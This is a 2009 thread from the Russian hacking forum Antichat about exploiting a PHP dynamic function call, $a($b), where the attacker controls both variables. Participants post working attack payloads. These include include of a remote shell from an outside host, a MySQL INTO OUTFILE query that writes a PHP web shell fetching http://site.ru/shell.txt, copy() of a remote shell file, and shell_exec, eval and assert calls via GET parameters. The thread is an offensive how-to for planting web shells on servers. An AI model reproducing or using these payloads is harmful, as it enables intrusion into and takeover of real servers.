Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   взлом 1 функцией (https://forum.antichat.xyz/showthread.php?t=104275)

wix 02.02.2009 04:39

взлом 1 функцией
 
точнее взлом с помощью 2 переменных)
возможно ли?)

PHP код:

$lol=$a($b); 

соответственно $a и $b можно подставить свои

system,exec не катят)

readfile работает,но толку от чтения файлов нет)

Dr.Frank 02.02.2009 12:03

$a=include
$b='http://oneline.ucoz.ru/madshell.php'

oRb 02.02.2009 12:19

Цитата:

Сообщение от Dr.Frank
$a=include
$b='http://oneline.ucoz.ru/madshell.php'

Это не функция, а языковая конструкция
PHP код:

$a = array('include''require''eval');
var_dump(array_map('function_exists'$a)); 

ps: вопрос весьма интересный, перерываю php.net :)

UPD:
первая идея. Ограничения: должен быть установлен коннект к базе и у пользователя бд должны быть File priv
Функция - mysql_query, параметр
Цитата:

select '<?php include "http://site.ru/shell.txt"; ?>' into outfile '/путь_до_корня_сервера/shell.php'

BlackSun 02.02.2009 13:44

?a=shell_exec&b=you command
шелл, но без вывода.

попугай 02.02.2009 14:01

copy("http://xaker.ru/shell.txt", "shell.php");
eval($_GET[id]);

вариантов масса

BlackSun 02.02.2009 14:04

eval, system, exec и некоторые другие в случае ТСа не пашут. Проверял.
copy требует 2 параметра, но есть только 1. функция не будет вызвана. Читай внимательнее

wix 02.02.2009 15:20

благодаря

PHP код:

$a=phpinfo;
$b=-1

выяснилось что на серве safe mode - ON )

потому все "вкусные" функции не пашут)

попугай 03.02.2009 06:27

Цитата:

Сообщение от BlackSun
eval, system, exec и некоторые другие в случае ТСа не пашут. Проверял.
copy требует 2 параметра, но есть только 1. функция не будет вызвана. Читай внимательнее

А так ?


site.ru/script.php?1=http://xaker.ru/shell.txt&2=shell.php&a=copy&b=$_GET[1],$_GET[2]

не работает, такая конуструкция почему то( проверил щас на тестовом скрипте... Но по идее можно изгальнутся и придумать что то)

BlackSun 03.02.2009 06:44

Цитата:

Сообщение от попугай
А так ?


site.ru/script.php?1=http://xaker.ru/shell.txt&2=shell.php&a=copy&b=$_GET[1],$_GET[2]

Ты хоть пробовал?
ubuntu LAMP
Цитата:

Warning: Wrong parameter count for copy() in /var/www/f23.php on line 2
Цитата:

не работает, такая конуструкция почему то( проверил щас на тестовом скрипте... Но по идее можно изгальнутся и придумать что то)
В том и фишка, если бы все было так просто) ...

ShAnKaR 03.02.2009 20:08

уже давно пора забить на всякие *exec - туфта все

assert и все дела ) это если один аргумент $b, если можно два - то ченить с коллбеком, если три - то preg_replace.


Время: 00:00